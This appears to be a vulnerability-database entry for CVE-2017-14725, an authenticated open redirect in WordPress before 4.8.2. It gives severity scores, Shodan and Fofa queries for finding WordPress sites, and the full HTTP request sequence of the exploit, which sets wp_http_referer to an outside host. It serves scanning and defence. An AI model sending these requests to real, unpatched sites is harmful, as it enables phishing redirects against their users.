| Title | WordPress < 4.8.2 - Authenticated Open Redirect |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Attackers can redirect authenticated users to malicious sites, potentially leading to phishing or malware distribution. |
| Remediation | Update to WordPress 4.8.2 or later. |
| CVSS Score | 5.4 |
| EPSS Score | 0.02353 |
| CVE ID | CVE-2017-14725 |
| CWE ID | CWE-601 |
| Shodan Query | http.component:"wordpress"cpe:"cpe:2.3:a:wordpress:wordpress" |
| Fofa Query | body="oembed" && body="wp-" |
| Tags | cve cve2017 wpscan wordpress redirect authenticated |
WordPress versions before 4.8.2 contain an open redirect caused by improper validation in wp-admin/edit-tag-form.php and wp-admin/user-edit.php, letting attackers redirect users to malicious sites, exploit requires access to admin interface.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.5
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=94rZua&pwd=aZAUpz&wp-submit=Log+In
GET /wp-admin/term.php?taxonomy=category&tag_ID=1&wp_http_referer=https%3A%2F%2Foast.pro HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/16.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/edit-tags.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh: Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15
Connection: close
Content-Length: 244
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=editedtag&tag_ID=1&taxonomy=category&_wpnonce=mdEzJS&_wp_http_referer=%2Fwp-admin%2Fterm.php%3Ftaxonomy%3Dcategory%26tag_ID%3D1%26wp_http_referer%3Dhttps%253A%252F%252Foast.pro&name=Uncategorized&slug=uncategorized&parent=-1&description=
GET /wp-admin/term.php?taxonomy=category&tag_ID=1&wp_http_referer=https%3A%2F%2Foast.pro&message=3 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-14725.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-14725.pcap
N/AN/A